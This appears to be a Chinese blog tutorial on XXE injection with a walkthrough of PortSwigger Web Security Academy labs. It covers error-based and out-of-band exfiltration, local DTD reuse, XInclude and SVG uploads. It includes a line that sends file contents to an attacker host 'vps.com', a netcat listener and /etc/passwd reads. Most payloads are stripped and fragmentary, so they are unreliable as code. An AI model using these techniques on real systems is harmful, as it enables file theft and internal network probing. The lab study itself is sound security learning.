热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

浅解XXE与PortswiggerWebSec

XXE与PortswiggerWebSec​相关链接:​博客园​安全脉搏​FreeBuf​XML的全称为XML外部实体注入,在学习的过程中发现有回显的XXE并不多,而

XXE与Portswigger Web Sec

​ 相关链接:

​ 博客园

​ 安全脉搏

​ FreeBuf





​ XML的全称为 XML 外部实体注入,在学习的过程中发现有回显的 XXE 并不多,而大部分都是 OOB 类型的 XXE。也就是通过引用外部 dtd 实体来获取指定的信息。


// 内部实体

// 外部普通实体

// 外部参数实体
%test;
// 在 dtd 中对外部参数实体进行引用

攻击原理:

​ 已知 xml 可以引用外部的 dtd 文件。那么通过定义一个参数实体,再将需要读取文件的路径赋值给 前面定义的 参数实体,就形成了任意文件的读取。如果把实体的值换成 IP+端口,那么就可能形成一个内网探测SSRF楼漏洞。而 xml 解释器在解释 xml 的时候有两种方式,一种是一次性加载整个 xml;另一种是一部分一部分的对 xml 进行解析。如果递归的调用 xml 定义,且数据量巨大,就有可能造成拒绝服务攻击。并且联想到我们之前学习过的 sql 注入漏洞,有些通过 xml 传递的数据可能会被代入到数据库中进行查询,那么就有可能造成 sql注入攻击


基础的XXE(有回显的XXE)




1 · 直接外部 dtd


]>

&

​ 直接引用的话,最终的结果会在 Response 中回显


2 · 通过 dtd引入外部 dtd


&send;

3 · 报错的XXE

报错XXE的思路与sql注入中的报错注入类似,都是通过服务器的报错信息获取我们想要的信息


例如 这里##安全脉搏##提到的


">
]>

返回结果

​ 正是由于 xml解释器尝试解析并访问构造好的错误域名,但是由于域名错误,无法到达正确的 URL 。因此有可能会爆出错误并显示出我们想要的结果。

又或者像是这样


">
%killshot;
%error;

​ 构造一个错误的路径+正确的路径。解释器在解释 error 的时候会因为找不到正确的文件路径而报错。




XML漏洞可以间接导致很多漏洞,下图给出不同的XML解释器所支持的协议




Out-Of-Band




1 · 直接请求服务器上的dtd

​ 通过先定义一个 参数实体 来获取指定文件的内容,再通过 引用参数实体的方式请求 外部服务器配置好的 dtd来获取指定文件的内容。

如下:



%test2;
]>

​ 正如上述,直接定义一个参数实体 test1 ,让这个参数实体通过 file:// 协议请求内部的文件,再通过应用 test2 请求服务器,通过参数的形式获取指定的文件。

但是这样并不会成功,几乎在 XML 所有的解释器中都不会解释同级参数实体的内容。


使用 nc:

VPS-dtd:

">

Payload:

%remote;
%start;
%send;
]>

最后使用nc

nc -lvp 1234

2 · 嵌套请求

​ 我们直接给出 payload,并在稍后进行分析。


% test2 SYSTEM'http://vps.com/?x=%file'
>">
]>

​ 因为是嵌套的缘故,所以参数实体中的 % 需要 ENTITY 编码转义。直接将此类代码添加在数据包中是行不通的。因为在内部 ENTITY 中禁止应用参数实体。也正是因为这种限制,所以我们需要在服务器中添加 dtd,然后请求外部服务器的 dtd。

全新的 payload:

xxe:

%test;
]>

test.dtd:

">
%run1;
%run2;

​ 在上述全新的 payload 中,我们通过 应用 %test 让有 XXE 漏洞的服务器请求如上的服务器地址。然后在test.dtd 被加载的过程中,先引用 run1 实体,run1 实体的引用让 run2 实体得以加载,随后 将 file 参数实体的值通过参数的形式传递到 dns服务器上。


3 · 不允许请求外部服务器

​ 可能会存在部分主机防火墙过滤机制严格,不允许请求外部服务器的 dtd。但是我们的思路是不变的,也就是通过一个 引入一个外部的 dtd 加载修改好的实体。

​ 在操作系统中,常常会有很多自带的 dtd 文件,如下面给到的 /usr/share/yelp/dtd/docbookx.dtd 。而我们的思路就是 :

重写一个内部 dtd 所含有的参数实体,通过加载内部的 dtd 起到引用重写的 dtd 的作用。

​ 这里给出一个 payload:




">
%eval;
%send;'>
%remote;
]>
1234

上述流程:
定义一个参数实体 remote 且其值为内部 dtd 的路径;定义的 file 参数实体值需查看的文件路径。而参数实体 ISOamso 是内部实体文件所自带的 参数实体 ,并且我们使用三层嵌套将外部服务器的 URL 嵌套了进去(第三层的嵌套需要将 引号 也进行 ENTITY 编码)。
由此可见在服务器端运行的大致流程如下:
参数实体 remote 被引用,开始加载指定路径下的系统自带 dtd 。自带的dtd加载过程中引用了重写过的 ISOamso 参数实体,便开始定义出名为 eval 的参数实体键值对。即相继调用了eval 与 send。最后在加载 send 值的同时引用 file 的值。由此 /etc/passwd 的内容便被以参数的形式发送到指定的服务器上。但貌似在读取文件的时候对于 GET 最大传参大小限制这一解决问题,本人在学习的过程中并未找到相关资料



Xinclude

有的 web 应用程序会把用户输入的数据嵌入到后端的 XMl 里,然后再进行解析。这就意味着攻击者无法直接的控制整个 xml 文档,也无法修改 dtd 元素

​ 但是我们可以改用 xinclude 进行攻击,Xinclude 是一个 XML 的特性。其允许从子文档中构建 XML 文档,那么攻击的开始我们需要一个 标记 xi:include

Payload:




SVG(文件上传)

​ SVG 意为可缩放矢量图形(Scalable Vector Graphics),并且其使用 XML 定义图像。其与主流的图片格式的区别在于如果去改变他的尺寸或者是大小其图片的质量都不会发生变化。

​ 也正是由于SVG使用 XML 定义图像,因此容易造成 XSS和XXE

XXE-Payload:


]>

&file;

​ hint:

​ 在有回显的情况下,如果无法回显所有的内容,可以尝试将 SVG 图像的尺寸调大


无回显结合SVG

​ 首先在外部服务器上放置我们构造好的 dtd 文件,然后再通过上传 SVG 文件使目标机请求外部的 dtd 文档。

SVG:




%remote;
%start;
%send;
]>

&lab;

DTD:
">

​ 总而言之,SVG在XXE中也只是一个用来传输 payload 介质,除去了他是介质这一点,可以知道SVG所造成的XXE 与常规的XXE并无太大区别




靶机演练




1 · 直接外部 dtd

​ 抓取数据包

payload:


]>

&redsun;1

​ 有回显的 XXE 显示效果


2 · 通过XXE进行SSRF

​ 下图是已经修改过的数据包

​ 可以通过对端口号进行遍历,观察返回数据包的情况。以此来判断内网端口的情况。

​ 而下图可见,返回为Connection refused为关闭。否则即为开启


3 · 外带的XXE

PAYLOAD:



]>

&tao;
1

返回的DNS信息:

当然此处可以让其加载 VPS 上的 dtd 文件,而上述的dns外带简单payload 可以作为测试是否存在XXE使用

======================================

PS1:

以下的注入大部分属于盲注类型,一般的 XXE 对于信息的外带是基于 web 页面的回显。但如果 web 无回显,可以尝试使用 dns 外带(Out Of Band)的方式

PS2:

盲注的 XXE 主要设计 参数实体和内部实体。参数实体就是上面 payload 中的带有 % 的部分。而内部实体是指在一个实体内部定义另一个实体,可以理解为 实体的嵌套 。
但是内部实体是否有用取决于 编程语言的解释器 是否支持。

======================================


4 · 通过 XML 参数实体进行DNS带外交互的盲 XXE

​ 如果还是使用上面的 Payload 会显示:

Entities are not allowed for security reasons
// 处于安全原因不允许使用外部实体

​ 那么就需要对 Payload 做出一些改动:

%xxe;
]>
// 把原有的 dtd 实体信息改成这样


5 · 通过外部的dtd获取敏感信息

这一关要求我们通过让靶机访问外部的 dtd 来实现信息的外带

原始数据包:

​ 需要一台拥有域名的vps,并且有我们自己编写好的dtd


6 · 报错盲注 XXE外带

​ 这里要求我们构造报错信息,并通过报错信息显示出指定敏感文件的路径。因此我们需要在外部服务器上创建一个构造好的 dtd 文件。并用在数据包中加入构造好的payload,用以请求外部的 dtd

​ 外部 dtd 文件:

外部dtd-Payload:

">
%test;
%error;

​ 构造好的数据包:


%woo;
]>

​ 可以在报错信息中看到指定查看的 passwd 文件


7 · 重写系统自带 dtd

由于目标系统防火墙的限制,导致了无法请求外部服务器的 dtd。所以我们需要引用系统内部的 XXE,并重写其中的 参数实体

已知:
使用 GNOME 桌面环境的系统通常具有 DTD,其中包含一个名为/usr/share/yelp/dtd/docbookx.dtd
且其中的一个参数实体名为 ISOamso

​ 原始数据包:

payload:


">
%eval;
%error;
'>
%local_dtd;
]>

Response:


8 · Xinclude

​ 可以看到原始数据包中,并没有有关 xml 的信息

​ 那么我们来尝试一下使用 xinclude 来进行 XXE

Payload:

​ 可以看到在数据包中已经读取到我们定义的路径文件了


9 · SVG

Payload:

]>

&xxe;

​ 将构造好的文件上传之后再返回页面源代码中寻找靶场需要我们提交的 flag

​ 可以看到页面显示的评论里面有我们想要的东西



推荐阅读
  • 优化ListView性能
    本文深入探讨了如何通过多种技术手段优化ListView的性能,包括视图复用、ViewHolder模式、分批加载数据、图片优化及内存管理等。这些方法能够显著提升应用的响应速度和用户体验。 ... [详细]
  • 本文详细介绍如何使用Python进行配置文件的读写操作,涵盖常见的配置文件格式(如INI、JSON、TOML和YAML),并提供具体的代码示例。 ... [详细]
  • 1:有如下一段程序:packagea.b.c;publicclassTest{privatestaticinti0;publicintgetNext(){return ... [详细]
  • UNP 第9章:主机名与地址转换
    本章探讨了用于在主机名和数值地址之间进行转换的函数,如gethostbyname和gethostbyaddr。此外,还介绍了getservbyname和getservbyport函数,用于在服务器名和端口号之间进行转换。 ... [详细]
  • 掌握远程执行Linux脚本和命令的技巧
    本文将详细介绍如何利用Python的Paramiko库实现远程执行Linux脚本和命令,帮助读者快速掌握这一实用技能。通过具体的示例和详尽的解释,让初学者也能轻松上手。 ... [详细]
  • 1.如何在运行状态查看源代码?查看函数的源代码,我们通常会使用IDE来完成。比如在PyCharm中,你可以Ctrl+鼠标点击进入函数的源代码。那如果没有IDE呢?当我们想使用一个函 ... [详细]
  • 深入理解Cookie与Session会话管理
    本文详细介绍了如何通过HTTP响应和请求处理浏览器的Cookie信息,以及如何创建、设置和管理Cookie。同时探讨了会话跟踪技术中的Session机制,解释其原理及应用场景。 ... [详细]
  • 深入理解 SQL 视图、存储过程与事务
    本文详细介绍了SQL中的视图、存储过程和事务的概念及应用。视图为用户提供了一种灵活的数据查询方式,存储过程则封装了复杂的SQL逻辑,而事务确保了数据库操作的完整性和一致性。 ... [详细]
  • 本文深入探讨 MyBatis 中动态 SQL 的使用方法,包括 if/where、trim 自定义字符串截取规则、choose 分支选择、封装查询和修改条件的 where/set 标签、批量处理的 foreach 标签以及内置参数和 bind 的用法。 ... [详细]
  • 本文详细介绍了Java编程语言中的核心概念和常见面试问题,包括集合类、数据结构、线程处理、Java虚拟机(JVM)、HTTP协议以及Git操作等方面的内容。通过深入分析每个主题,帮助读者更好地理解Java的关键特性和最佳实践。 ... [详细]
  • MQTT技术周报:硬件连接与协议解析
    本周开发笔记重点介绍了在新项目中使用MQTT协议进行硬件连接的技术细节,涵盖其特性、原理及实现步骤。 ... [详细]
  • 本文深入探讨了Linux系统中网卡绑定(bonding)的七种工作模式。网卡绑定技术通过将多个物理网卡组合成一个逻辑网卡,实现网络冗余、带宽聚合和负载均衡,在生产环境中广泛应用。文章详细介绍了每种模式的特点、适用场景及配置方法。 ... [详细]
  • 本文详细解析了Python中的os和sys模块,介绍了它们的功能、常用方法及其在实际编程中的应用。 ... [详细]
  • RecyclerView初步学习(一)
    RecyclerView初步学习(一)ReCyclerView提供了一种插件式的编程模式,除了提供ViewHolder缓存模式,还可以自定义动画,分割符,布局样式,相比于传统的ListVi ... [详细]
  • 深入理解Tornado模板系统
    本文详细介绍了Tornado框架中模板系统的使用方法。Tornado自带的轻量级、高效且灵活的模板语言位于tornado.template模块,支持嵌入Python代码片段,帮助开发者快速构建动态网页。 ... [详细]
author-avatar
觉悟
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有